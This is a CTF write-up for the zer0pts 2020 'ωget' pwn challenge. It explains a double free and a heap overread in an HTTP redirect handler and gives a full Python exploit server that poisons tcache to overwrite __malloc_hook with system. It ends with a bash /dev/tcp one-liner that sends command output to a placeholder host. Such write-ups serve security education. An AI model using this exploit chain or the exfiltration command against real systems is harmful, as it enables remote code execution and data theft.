Try   HackMD

[zer0pts CTF 2020] ωget

tags: zer0pts CTF pwn

Overview

We're given an ELF, libc and 3 source codes.

$ checksec -f omega_get
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   92 Symbols     Yes      0               12      omega_get

The libc version is 2.27 and all security systems are enable.
Moreover, we need to pwn the server just by passing a URL to the web interface.
In this service, the URL is passed as a first argument of omega_get, which will download the HTML and prints it.

Solution

Vulnerability

download_file function has a vulnerability.
If Content-Length is included in the response header, it allocates a buffer to store the html code. On the other hand, if Location is included, it frees html because it's no longer necessary for redirect. It doesn't set NULL to html, which will cause double free if multiple Location tags are included in the response header.

Bug

Not to say a vulnearbility, there's a bug in download_file. When Location comes, it copies the new path or URL in this way:

redirect = malloc(strlen(value) + 1);
memcpy(redirect, value, strlen(value));

If leftover is in the region allocated by malloc, redirect can be value||blahblah. We use this to leak the libc address.

libc leak

We need libc leak as PIE and ASLR are enabled. We allocate a chunk larger than 0x420 as HTML and leak the libc address left after freeing it.
After the chunk is linked to unsorted bin, passing a path like /1234567 in Location will overwrite the first 8 bytes and will query the URL including the libc address.

tcache poisoning

After getting the libc address, we just need to do tcache poisoning by double free. However, we have 2 problems here:

  • The malloced size is the length of the address we write to fd as it uses strlen
  • The data to write must begin with / or http://

The first problem can be solve by double-freeing the smallest chunks. The second problem may be solved by overlapping chunks, but we take an easier way.
In libc 2.27 __malloc_hook exists at 0x7f30. On the other hand, since the ascii code of / is 0x2f, we can point fd to right before __malloc_hook. Moreover, / will be written at 0x2f and thus we can control the following 8 bytes! (==__malloc_hook)

arbitrary code execution

Calling /bin/sh will not help in this case. We need to run arbitrary code by system. At first glance it's impossible to pass an argument because we're using __malloc_hook. However, as the size read by Content-Length is long-typed, we can set very large value there, such as the address of heap.

heap leak

In order to pass the command prepared on the heap, we leak the heap address first. The way to leak the heap address is same as that of libc.

exploit

Final exploit: tested on 127.0.0.1
(heap_delta must be changed. If the server IP is XXX.XXX.XX.XX, for example, cmd_delta must be 0x911.)

from ptrlib import *
import contextlib
import socket

HOST, PORT = '127.0.0.1', 10080
BASE = 'http://{}:{}'.format(HOST, PORT)
PATH_0 = '/'
PATH_1 = '/' + '0' * 0x1f
PATH_B = '/' + 'B' * 7
PATH_C = '/' + 'C' * 0x1f
libc_base, heap_base = None, None
heap_delta = 0x52f
cmd_delta = 0x8e1

# cmd length must be larger than 0x18
cmd = b'ls -lha'
cmd += b' ' * 0x20

def exploit(sock, path):
    global libc_base
    global heap_base
    payload = b'HTTP/1.1 OK 200\r\n'
    print(path)

    if path == PATH_0:
        """ 1-1) double free
        prepare heap address
        """
        payload += str2bytes('Content-Length: {}\r\n'.format(0x40)) # make sure [0x55...2f] == NULL
        payload += str2bytes('Content-Length: {}\r\n'.format(0x10))
        payload += str2bytes('Location: {}\r\n'.format(PATH_1)) * 3
        payload += b'\r\n'

    elif path == PATH_1:
        """ 1-2) heap leak
        use buffer overread in redirect to leak heap address
        """
        payload += str2bytes('Location: /\r\n')
        payload += str2bytes('Content-Length: {}\r\n'.format(0x10))
        payload += b'\r\n'
            
    elif path.startswith(PATH_B):
        libc_base = u64(str2bytes(path)[8:]) - libc.main_arena() - 0x60
        logger.info("libc = " + hex(libc_base))
        """ 2-2) double free
        double free html
        """
        payload += str2bytes('Content-Length: {}\r\n'.format(0x10))
        payload += str2bytes('Location: {}\r\n'.format(PATH_C)) * 3
        payload += b'\r\n'

    elif path == PATH_C:
        """ 2-3) tcache poisoning
        overwrite fd to __malloc_hook and write one gadget
        since __malloc_hook is located at 0x7f...30,
        we can make fd point to 0x7f...2f ('/'==0x2f)
        also the first one byte can be '/' followed by one gadget address
        """
        malloc_hook = libc_base + libc.symbol('__malloc_hook')
        system = libc_base + libc.symbol('system')
        addr_cmd = heap_base + cmd_delta
        payload += b'Location: /' + cmd + b'\r\n'
        payload += b'Location: /' + p64(malloc_hook)[1:] + b'\r\n'
        payload += b'Location: /dummy\r\n'
        payload += b'Location: /' + p64(system) + b'\r\n'
        payload += str2bytes('Content-Length: {}\r\n'.format(addr_cmd - 1))
        payload += b'\r\n'
    
    elif path.startswith('/'):
        heap_base = u64(path) - heap_delta
        logger.info("heap = " + hex(heap_base))
        """ 2-1) libc leak
        allocate and free html
        use buffer overread in redirect to leak libc address
        """
        payload += str2bytes('Content-Length: {}\r\n'.format(0x420))
        payload += str2bytes('Location: /{}\r\n'.format('W'*0x30))
        payload += str2bytes('Content-Length: {}\r\n'.format(0x10)) * 3
        payload += str2bytes('Location: {}\r\n'.format(PATH_B))
        payload += b'\r\n'

    sock.send(payload)
    return

if __name__ == '__main__':
    libc = ELF("../distfiles/libc-2.27.so")
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    with contextlib.closing(sock):
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        sock.bind((HOST, PORT))
        sock.listen(1)
        while True:
            client, addr = sock.accept()
            with contextlib.closing(client):
                path = client.recv(4096).split()[1]
                exploit(client, bytes2str(path))

Yay! We get arbitrary code executions!

$ ./omega_get http://127.0.0.1:10080/
合計 2.0M
drwxrwxr-x 2 ptr ptr 4.0K  1月  9 23:31 .
drwxrwxr-x 5 ptr ptr 4.0K  1月  4 10:44 ..
-rw------- 1 ptr ptr 3.9K  1月  9 23:31 .gdb_history
-rwxr-xr-x 1 ptr ptr 2.0M  1月  9 14:37 libc-2.27.so
-rwxrwxr-x 1 ptr ptr  14K  1月  9 22:04 omega_get
[ABORT] Memory error

We can leak flag by executing something like bash -c "ls > /dev/tcp/XXXX/YYYY".